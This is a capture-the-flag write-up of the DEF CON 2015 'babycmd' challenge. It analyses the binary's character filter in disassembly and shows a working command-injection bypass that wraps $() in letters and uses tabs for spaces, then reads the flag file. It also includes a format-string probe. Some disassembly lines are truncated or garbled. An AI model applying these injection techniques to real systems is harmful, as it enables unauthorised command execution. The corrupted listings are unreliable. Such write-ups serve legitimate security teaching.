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DEF CON 2015 Quals - babycmd (1pt) writeup



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The challenge description was:

`babycmd_3ad28b10e8ab283d7df81795075f600b.qualz.shallweplayaga.me:1`

A binary called `babycmd_3ad28b10e8ab283d7df81795075f600b` was also provided.

Let's quickly check what happens when we connect to it:

```
mrt:~/ctf/defcon/baby/babycmd$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.q
```

```
Welcome to another Baby's First Challenge!  
Commands: ping, dig, host, exit
```

We need to find a way to run other commands and get the flag but a couple of pipe or chain other commands are actually stripped.

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```

...
d65:      0f b6 07      movzx  eax, BYTE PTR [rdi]
d68:      84 c0      test   al, al
d6a:      74 39      je     da5 <__sprintf_chk@plt+0x1b5>
d6c:      3c 20      cmp    al, 0x20
d6e:      74 2a      je     d9a <__sprintf_chk@plt+0x1aa>
d70:      89 c1      mov    ecx, eax
d72:      8d 50 da     lea    edx, [rax-0x26] ; char - 0x
d75:      80 fa 01     cmp    dl, 0x1 ; <= 1 fail
d78:      76 34      jbe    dae <__sprintf_chk@plt+0x1be>
d7a:      3c 7c      cmp    al, 0x7c
d7c:      74 36      je     db4 <__sprintf_chk@plt+0x1c4>
d7e:      3c 2a      cmp    al, 0x2a
d80:      74 38      je     dba <__sprintf_chk@plt+0x1ca>
d82:      89 c2      mov    edx, eax
d84:      83 e2 fd     and    edx, 0xffffffff
d87:      80 fa 21     cmp    dl, 0x21
d8a:      74 34      je     dc0 <__sprintf_chk@plt+0x1d0>
d8c:      83 e9 3a     sub    ecx, 0x3a ; char - 0
d8f:      80 f9 01     cmp    cl, 0x1 ; <= 1 fai
d92:      76 32      jbe    dc6 <__sprintf_chk@plt+0x1d6>
d94:      88 06      mov    BYTE PTR [rsi], al
d96:      48 83 c6 01   add    rsi, 0x1
d9a:      48 83 c7 01   add    rdi, 0x1
d9e:      0f b6 07      movzx  eax, BYTE PTR [rdi]
da1:      84 c0      test   al, al
da3:      75 c7      jne    d6c <__sprintf_chk@plt+0x17c>
da5:      c6 06 00      mov    BYTE PTR [rsi], 0x0
da8:      b8 01 00 00 00  mov    eax, 0x1
dad:      c3      ret
dae:      b8 00 00 00 00  mov    eax, 0x0
db3:      c3      ret
db4:      b8 00 00 00 00  mov    eax, 0x0
db9:      c3      ret
dba:      b8 00 00 00 00  mov    eax, 0x0
dbf:      c3      ret
dc0:      b8 00 00 00 00  mov    eax, 0x0
dc5:      c3      ret
dc6:      b8 00 00 00 00  mov    eax, 0x0
dcb:      c3      ret
...

```

The following letters are stripped and/or invalidate our command: 0x20 (space), 0x26 (&), 0x3a (:), and also check for 0x27 (') and 0x3b (;). This still leaves us with a lot of characters to work with, but we should check if there is more sanitizing afterward:

```

...
e89:      48 89 e6      mov    rsi, rsp
e8c:      48 8d bc 24 90 01 00  lea    rdi, [rsp+0x190]
e93:      00

```

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```

ea4:      e8 27 TC TT TT      call    au0 <puts@plt>
ea9:      e9 8c 00 00 00    jmp     f3a <__sprintf_chk@plt+0x34a>
...

```

The ping command doesn't seem to use any other form of sanitizing, after `inet_aton` (http://linux.die.net/man/3/inet_aton) it returns 0 if the IP address is invalid. Invalid IP address error message in babycmd)

However we can still pass invalid characters. (we'll get back to that later)

```

...
fb0:      48 89 e6            mov     rsi, rsp
fb3:      48 8d bc 24 90 01 00    lea     rdi, [rsp+0x190]
fba:      00
fbb:      e8 c0 fb ff ff      call    b80 <inet_aton@plt>
fc0:      85 c0                test    eax, eax
fc2:      74 2d                je      ff1 <__sprintf_chk@plt+0x401>
fc4:      8b 3c 24            mov     edi, DWORD PTR [rsp]
fc7:      e8 14 fb ff ff      call    ae0 <inet_ntoa@plt>
fcc:      49 89 c0            mov     r8, rax
fcf:      48 8d 7c 24 10      lea     rdi, [rsp+0x10]
fd4:      48 8d 0d 5d 05 00 00    lea     rcx, [rip+0x55d]          # 1538
fdb:      ba 80 01 00 00      mov     edx, 0x180
fe0:      be 01 00 00 00      mov     esi, 0x1
fe5:      b8 00 00 00 00      mov     eax, 0x0
fea:      e8 01 fc ff ff      call    bf0 <__sprintf_chk@plt>
fef:      eb 4a                jmp     103b <__sprintf_chk@plt+0x44b>
ff1:      48 8d bc 24 90 01 00    lea     rdi, [rsp+0x190]
ff8:      00
ff9:      e8 ce fd ff ff      call    dcc <__sprintf_chk@plt+0x1dc>
ffe:      85 c0                test    eax, eax
1000:     75 11                jne     1013 <__sprintf_chk@plt+0x423>
...

```

The command dig does something similar, but in case `inet_aton` fails it jumps at `0xdcc`, I suppose in case it's not a parsable IP it tries with a domain name:

```

...
dcc:      48 89 fe            mov     rsi, rdi
dcf:      b8 00 00 00 00      mov     eax, 0x0
dd4:      48 c7 c1 ff ff ff ff    mov     rcx, 0xffffffffffffffff
ddb:      f2 ae                repnz   scas al, BYTE PTR es:[rdi]
ddd:      48 f7 d1            not      rcx          ; get length of
de0:      48 8d 51 ff          lea     rdx, [rcx-0x1]
de4:      48 83 e9 04          sub     rcx, 0x4       ; length - 0x4
de8:      b8 00 00 00 00      mov     eax, 0x0
ded:      48 83 f9 3c          cmp     rcx, 0x3c      ; jump above 0x
df1:      77 40                ja      e33 <__sprintf_chk@plt+0x243>

```

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```

ute:      80 f9 19
e01:      76 0d
e03:      8d 48 d0
e06:      b8 00 00 00 00
e0b:      80 f9 09
e0e:      77 23
e10:      0f b6 54 16 ff
e15:      89 d1
e17:      83 e1 df
e1a:      83 e9 41
e1d:      b8 01 00 00 00
e22:      80 f9 19
e25:      76 0c
e27:      83 ea 30
e2a:      80 fa 09
e2d:      0f 96 c0
e30:      0f b6 c0
e33:      f3 c3

```

...

```

cmp     cl,0x19          ; (byte)char <=
jbe     e10 <__sprintf_chk@plt+0x220>
lea     ecx,[rax-0x30]
mov     eax,0x0
cmp     cl,0x9
ja      e33 <__sprintf_chk@plt+0x243>
movzx   edx,BYTE PTR [rsi+rdx*1-0x1]
mov     ecx,edx          ; copy to ecx
and     ecx,0xffffffffdf; char & 0xffff
sub     ecx,0x41          ; char - 0x41 (
mov     eax,0x1
cmp     cl,0x19          ; (byte)char <=
jbe     e33 <__sprintf_chk@plt+0x243>
sub     edx,0x30
cmp     dl,0x9
setbe   al
movzx   eax,al
repz    ret

```

The command host does something similar. So it apparently only checks for our command parameter, if one of them are inside an invalid range it fails. I using \$() taking care of adding a valid character before and after (we are go

```
mrt:~/ctf/defcon/baby/babycmd$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.q
```

```

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host A$(whoami)A
Host AbabycmdA not found: 3(NXDOMAIN)

```

It returns babycmd, we successfully ran whoami. Time to look around and g

```

Commands: ping, dig, host, exit
: host A$(ls)A
host: 'Abin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root

```

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```
tmp
usr
var
vmlinuz
vmlinuz.oldA' is not a legal name (label too long)
Commands: ping, dig, host, exit
: host A$(ls    home)A
Host Ababycmd\010ubuntuA.eu-west-1.compute.internal not found: 2(SERVFAIL)
Commands: ping, dig, host, exit
: host A$(ls    home/babycmd)A
Host Ababycmd\010flagA.eu-west-1.compute.internal not found: 2(SERVFAIL)
Commands: ping, dig, host, exit
: host A$(cat    home/babycmd/flag)A
host: 'AThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shall
Commands: ping, dig, host, exit
: exit
Goodbye
```

We ran 'ls', 'ls home' using tabulation since we cannot use space, listed files and finally ran 'cat home/babycmd/flag' to get the flag.

Note: I spent way too much time trying to solve this challenge using a form; closer look at the source:

```
: host ABBBBCC^M%08x%08x%08x%08x%08x%08x%08x%08x
a6c75100203a646ea5a1f046302578380000000000000000074736f6842424242 not found:
```

We got our flag: Pretty easy eh!!~ Now let's try something hArd3r, shall we?

